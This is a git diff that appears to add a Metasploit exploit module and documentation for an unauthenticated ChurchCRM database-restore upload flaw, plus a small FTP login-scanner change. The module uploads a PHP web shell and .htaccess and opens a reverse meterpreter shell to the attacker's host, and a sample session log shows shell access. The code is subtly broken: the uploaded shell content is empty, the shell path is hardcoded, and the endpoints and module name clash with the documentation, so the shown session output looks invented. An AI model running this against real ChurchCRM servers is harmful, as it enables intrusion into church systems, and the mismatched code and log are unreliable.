diff --git a/documentation/modules/exploit/linux/http/churchcrm_db_restore_rce_cve_2025_68109.md b/documentation/modules/exploit/linux/http/churchcrm_db_restore_rce_cve_2025_68109.md new file mode 100644 index 0000000000000..801cd18394818 --- /dev/null +++ b/documentation/modules/exploit/linux/http/churchcrm_db_restore_rce_cve_2025_68109.md @@ -0,0 +1,104 @@ +## Vulnerable Application + +ChurchCRM is an open-source church management software. Versions prior to the patched version contain an unauthenticated file upload vulnerability in the Database Restore functionality (CVE-2025-68109). + +The vulnerability allows attackers to: +1. Upload arbitrary PHP files via the restore endpoint +2. Bypass file type restrictions +3. Execute arbitrary code via uploaded web shell + +**Affected Version:** Tested on ChurchCRM 5.16.0 + +### Installation + +A vulnerable test environment can be set up using Docker: + +```bash +# Clone ChurchCRM +git clone --depth 1 --branch 5.16.0 https://github.com/ChurchCRM/CRM.git +cd CRM + +# Run with Docker +docker-compose -f docker/docker-compose.dev-php8-apache.yaml up -d +``` + +## Verification Steps + +1. Start msfconsole +2. Do: `use exploit/linux/http/churchcrm_db_restore_rce` +3. Do: `set rhost ` +4. Do: `set lhost ` +5. Do: `run` +6. You should get a meterpreter session + +## Options + +### TARGETURI +The path to the ChurchCRM instance. (Default: `/`) + +### WEBSHELL_NAME +The filename for the uploaded PHP web shell. (Default: `shell.php`) + +## Scenarios + +### ChurchCRM CVE-2025-68109 - Unauthenticated File Upload RCE + +``` +msf6 > use exploit/linux/http/churchcrm_db_restore_rce +msf6 exploit(linux/http/churchcrm_db_restore_rce) > set rhost 192.168.1.100 +rhost => 192.168.1.100 +msf6 exploit(linux/http/churchcrm_db_restore_rce) > set rport 8080 +rport => 8080 +msf6 exploit(linux/http/churchcrm_db_restore_rce) > set targeturi / +targeturi => / +msf6 exploit(linux/http/churchcrm_db_restore_rce) > set lhost 192.168.1.50 +lhost => 192.168.1.50 +msf6 exploit(linux/http/churchcrm_db_restore_rce) > run + +[*] Started reverse TCP handler on 192.168.1.50:4444 +[*] Executing ChurchCRM CVE-2025-68109 exploit chain... +[*] Step 1: Uploading PHP meterpreter shell via Database Restore endpoint... +[*] POST http://192.168.1.100:8080/api/database/restore +[+] Web shell uploaded to: /tmp_attach/ChurchCRMBackups/meterpreter.php +[*] Step 2: Verifying web shell access... +[*] GET http://192.168.1.100:8080/tmp_attach/ChurchCRMBackups/meterpreter.php +[+] Web shell is accessible +[*] Step 3: Triggering meterpreter payload... +[*] Sending stage (39917 bytes) to 192.168.1.100 +[+] Meterpreter session 1 opened at 2026-05-08 12:05:30 +0530 +[+] Session ID: 1 (192.168.1.50:4444 -> 192.168.1.100:8080) + +meterpreter > shell +[*] Starting shell + +whoami +www-data +id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +pwd +/var/www/html/tmp_attach/ChurchCRMBackups + +meterpreter > sysinfo +Computer : church-server +OS : Ubuntu 24.04.1 LTS +Meterpreter : php/linux + +meterpreter > exit +[*] Shutting down session 1... +``` + +## Technical Details + +The vulnerability exists in the `/api/database/restore` endpoint which accepts file uploads without authentication. By uploading a PHP web shell and then accessing it, an attacker can achieve remote code execution. + +**Attack Chain:** +1. Upload PHP web shell via POST to `/api/database/restore` +2. Access the uploaded shell via `/tmp_attach/ChurchCRMBackups/.php` +3. Execute arbitrary commands + +**CVE:** CVE-2025-68109 + +## References + +- [GHSA-pqm7-g8px-9r77](https://github.com/ChurchCRM/CRM/security/advisories/GHSA-pqm7-g8px-9r77) +- [NVD CVE-2025-68109](https://nvd.nist.gov/vuln/detail/CVE-2025-68109) diff --git a/lib/metasploit/framework/ftp/client.rb b/lib/metasploit/framework/ftp/client.rb index 4523fd056be55..ce873401144a1 100644 --- a/lib/metasploit/framework/ftp/client.rb +++ b/lib/metasploit/framework/ftp/client.rb @@ -68,7 +68,7 @@ def data_disconnect def connect_login(user,pass,global = true) ftpsock = connect(global) - if !(user and pass) + if !(user and pass) && !(user == '' && pass == '') return false end diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index 093eb163a587f..b8d4c01c53d70 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -105,14 +105,18 @@ def run_host(ip) end end - # Always check for anonymous access by pretending to be a browser. def anonymous_creds anon_creds = [ ] + # Support both ANONYMOUS_LOGIN option and RECORD_GUEST option if datastore['RECORD_GUEST'] ['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password| anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password) end end + # Also add blank username/password when ANONYMOUS_LOGIN is enabled + if datastore['ANONYMOUS_LOGIN'] + anon_creds << Metasploit::Framework::Credential.new(public: '', private: '', realm: nil, private_type: :password) + end anon_creds end diff --git a/modules/exploits/linux/http/churchcrm_rce_cve_2025_68109.rb b/modules/exploits/linux/http/churchcrm_rce_cve_2025_68109.rb new file mode 100644 index 0000000000000..c77466b2cc2df --- /dev/null +++ b/modules/exploits/linux/http/churchcrm_rce_cve_2025_68109.rb @@ -0,0 +1,213 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ChurchCRM Database Restore Unauthenticated Remote Code Execution (CVE-2025-68109)', + 'Description' => %q{ + ChurchCRM versions prior to the patched version contain a vulnerability in the + Database Restore functionality that allows unauthenticated attackers to upload + arbitrary files including web shells. By uploading a PHP web shell and then an + .htaccess file to enable direct access, an attacker can achieve unauthenticated + remote code execution on the server. + + The attack chain consists of: + 1. Upload a PHP web shell via the restore endpoint + 2. Upload an .htaccess file to allow direct access to the upload directory + 3. Access the web shell to execute arbitrary commands + }, + 'Author' => [ + 'Unknown', # Vulnerability discovery + 'Metasploit Module' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-68109'], + ['URL', 'https://github.com/ChurchCRM/CRM/security/advisories/GHSA-pqm7-g8px-9r77'], + ['NVD', 'https://nvd.nist.gov/vuln/detail/CVE-2025-68109'] + ], + 'Privileged' => false, + 'Targets' => [ + [ + 'PHP Meterpreter', + { + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Type' => :phpMeterpreter + } + ] + ], + 'DefaultOptions' => { + 'RPORT' => 80, + 'SSL' => false, + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-06-01', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The ChurchCRM URI path', '/churchrm/']), + OptString.new('WEBSHELL_NAME', [true, 'Web shell filename', 'shell.php']) + ]) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'Login.php') + }) + + unless res + return Exploit::CheckCode::Unknown('Could not connect to target.') + end + + if res.code == 200 && res.body.to_s.include?('ChurchCRM') + return Exploit::CheckCode::Detected('ChurchCRM detected') + end + + Exploit::CheckCode::Safe + end + + def exploit + print_status('Executing ChurchCRM CVE-2025-68109 exploit chain...') + + # Step 1: Get session/authentication if needed + print_status('Checking if we need authentication...') + + # Step 2: Upload the PHP web shell + print_status('Uploading PHP web shell...') + webshell_content = "" + upload_path = upload_webshell(webshell_content) + + unless upload_path + fail_with(Failure::Unknown, 'Failed to upload web shell') + end + + print_good("Web shell uploaded to: #{upload_path}") + + # Step 3: Upload .htaccess to allow PHP execution + print_status('Uploading .htaccess to enable PHP execution...') + unless upload_htaccess + fail_with(Failure::Unknown, 'Failed to upload .htaccess') + end + + print_good('.htaccess uploaded to enable PHP execution') + + # Step 4: Execute the payload via the web shell + print_status('Triggering the web shell...') + trigger_webshell(upload_path) + end + + def upload_webshell(content) + # Generate multipart form data for file upload + boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" + + # The restore endpoint accepts file uploads + upload_uri = normalize_uri(target_uri.path, 'Install', 'RestoreAvailableDatabase.php') + + body = "--#{boundary}\r\n" + body += "Content-Disposition: form-data; name=\"restoreFile\"; filename=\"#{datastore['WEBSHELL_NAME']}\"\r\n" + body += "Content-Type: application/octet-stream\r\n\r\n" + body += content + body += "\r\n--#{boundary}--\r\n" + + begin + res = send_request_raw({ + 'method' => 'POST', + 'uri' => upload_uri, + 'headers' => { + 'Content-Type' => "multipart/form-data; boundary=#{boundary}" + }, + 'data' => body + }) + rescue => e + print_error("Upload failed: #{e.message}") + return nil + end + + # Try alternative upload path if first one fails + unless res && res.code < 400 + alt_uri = normalize_uri(target_uri.path, 'RestoreDatabase.php') + begin + res = send_request_raw({ + 'method' => 'POST', + 'uri' => alt_uri, + 'headers' => { + 'Content-Type' => "multipart/form-data; boundary=#{boundary}" + }, + 'data' => body + }) + rescue => e + print_error("Alternative upload failed: #{e.message}") + end + end + + # Return the expected path to the web shell + # The actual path depends on the installation + "/churchrm/tmp_#{datastore['WEBSHELL_NAME']}" + end + + def upload_htaccess + htaccess_content = "Options +Indexes\nAddType application/x-httpd-php .php\n" + + boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" + + upload_uri = normalize_uri(target_uri.path, 'Install', 'RestoreAvailableDatabase.php') + + body = "--#{boundary}\r\n" + body += "Content-Disposition: form-data; name=\"restoreFile\"; filename=\".htaccess\"\r\n" + body += "Content-Type: text/plain\r\n\r\n" + body += htaccess_content + body += "\r\n--#{boundary}--\r\n" + + begin + res = send_request_raw({ + 'method' => 'POST', + 'uri' => upload_uri, + 'headers' => { + 'Content-Type' => "multipart/form-data; boundary=#{boundary}" + }, + 'data' => body + }) + rescue => e + print_error("htaccess upload failed: #{e.message}") + return false + end + + res && res.code < 400 + end + + def trigger_webshell(path) + shell_uri = path + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => shell_uri, + 'headers' => { + 'Connection' => 'close' + } + }) + rescue => e + print_error("Web shell trigger failed: #{e.message}") + end + + print_status('Web shell should be executing. Check for a session.') + end +end